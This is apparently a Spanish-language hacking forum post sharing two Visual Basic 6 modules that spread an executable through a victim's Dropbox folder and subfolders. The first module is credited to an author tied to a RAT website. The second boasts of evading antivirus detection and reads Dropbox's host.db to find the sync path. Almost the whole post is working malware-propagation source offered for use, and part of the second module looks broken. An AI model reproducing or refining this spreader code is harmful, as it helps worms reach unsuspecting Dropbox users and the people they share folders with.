Spreader para DropBox by exensoft
'---------------------------------------------------------------------------------------
' Module : modDropBoxSpreader
' Version : 1.0
' Autor : eXensoft
' Website : www.BluePalmRAT.tk
' Creation : 08/20/2013
' Purpose : Very simple spreader for spreading a file via Dropbox
' Requiriments : Dropbox must be installed (with default settings)
' Usage-Example : Call DropboxSpread("C:\MySourceFile.exe", "SpreadMe.exe", True)
'---------------------------------------------------------------------------------------
Private Declare Function CopyFile Lib "kernel32.dll" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Private Function DropboxSpread(mSourceFilePath As String, mSpeadName As String, Optional mSpreadToSubfolder As Boolean = True) As Boolean
'set bla bla bla
DropboxSpread = False
Dim mSubfolder As Collection
Dim myFSO As Object
Set myFSO = CreateObject("Scripting.FileSystemObject")
'Check if default Dropbox-Folder exists
If myFSO.FolderExists("C:\Users\" & Environ$("username") & "\Dropbox\") = True Then
'Copy SourceFile to Main-Folder
Call CopyFile(mSourceFilePath, "C:\Users\" & Environ$("username") & "\Dropbox\" & mSpeadName, 0)
'Spread to Subfolders, too?
If mSpreadToSubfolder = True Then
'Get first Subfolders
Set mSubfolder = ListFolder("C:\Users\" & Environ$("username") & "\Dropbox\")
'Copy SourceFile to each SubFolder
For i = 1 To mSubfolder.Count
Call CopyFile(mSourceFilePath, "C:\Users\" & Environ$("username") & "\Dropbox\" & mSubfolder(i) & "\" & mSpeadName, 0)
Next i
End If
DoEvents
'Spreading is done
DropboxSpread = True
End If
End Function
Private Function ListFolder(Mypath As String) As Collection
Dim MyName As String
Dim mSubfolder As New Collection
MyName = Dir(Mypath, vbDirectory) ' Retrieve the first entry.
Do While MyName <> "" ' Start the loop.
' Ignore the current directory and the encompassing directory.
If MyName <> "." And MyName <> ".." Then
' Use bitwise comparison to make sure MyName is a directory.
If (GetAttr(Mypath & MyName) And vbDirectory) = vbDirectory Then
mSubfolder.Add MyName ' Display entry only if it
End If ' it represents a directory.
End If
MyName = Dir ' Get next entry.
Loop
Set ListFolder = mSubfolder
End Function
Modulo:
http://www.sendspace.com/file/jqsf9nOtro codigo mas por Chequinho:
'---------------------------------------------------------------------------------------
' Modulo : mDropboxSpread
' Autor : chequinho
' Fecha : 20/08/2013
' Finalidad : Distribuir un archivo a la carpeta de Dropbox
' Uso : Call DropboxSpread(sFilePath, sFileName, [bSubDirs])
' - sFilePath: El archivo a distribuir
' - sFileName: Nombre de archivo a copiar
' - bSubDirs: Copiar tambien a SubDirectorios (opcional)
' Detecciones: 0/35 (Native - Fast)
' Notas
' - Necesarias referencias a Microsoft Scripting Runtime y a Microsoft XML, v2.6 (o mayor)
' - Idea original: exensoft ([url]http://hackhound.org/forums/topic/2590-vb6-simple-dropbox-spreader/[/url])
'---------------------------------------------------------------------------------------
Public Sub DropboxSpread(sFilePath As String, sFileName As String, Optional bSubDirs As Boolean = False)
Dim ObjFSO As New Scripting.FileSystemObject
ObjFSO.CopyFile sFilePath, getDropboxPath & "\" & sFileName, True
If bSubDirs = True Then
Dim oFolder As Scripting.Folder
Dim oSubFolder As Scripting.Folder
Set oFolder = oFileSys.GetFolder(getDropboxPath & "\")
For Each oSubFolder In oFolder.SubFolders
Call FSO.CopyFile(sFilePath, oSubFolder & "\" & sFileName, True)
Next oSubFolder
Set oFolder = Nothing
End If
End Sub
'http://www.nonhostile.com/howto-encode-decode-base64-vb6.asp
Private Function DecodeBase64(ByVal strData As String) As String
Dim objXML As MSXML2.DOMDocument
Dim objNode As MSXML2.IXMLDOMElement
Set objXML = New MSXML2.DOMDocument
Set objNode = objXML.createElement("b64")
objNode.dataType = "bin.base64"
objNode.Text = strData
DecodeBase64 = StrConv(objNode.nodeTypedValue, vbUnicode)
Set objNode = Nothing
Set objXML = Nothing
End Function
Private Function getDropboxPath() As String
Dim sDBPath As String
sDBPath = Environ$("APPDATA") & "\Dropbox\host.db"
getDropboxPath = DecodeBase64(Read_LastLine(sDBPath))
End Function
'http://www.recursosvisualbasic.com.ar/htm/trucos-codigofuente-visual-basic/84.htm#3
Private Function Read_LastLine(sFile As String) As String
Dim ObjTextStream As Scripting.TextStream
Dim ObjFSO As New Scripting.FileSystemObject
Dim ObjFile As File
Dim Lineas As String
Dim Ultima_Linea As Long
Set ObjFile = ObjFSO.GetFile(sFile)
Set ObjTextStream = ObjFile.OpenAsTextStream(ForReading, TristateUseDefault)
Do While Not ObjTextStream.AtEndOfStream
Lineas = Lineas & "<+>" & ObjTextStream.ReadLine
Ultima_Linea = Ultima_Linea + 1
Loop
Read_LastLine = Split(Lineas, "<+>")(Ultima_Linea)
End Function
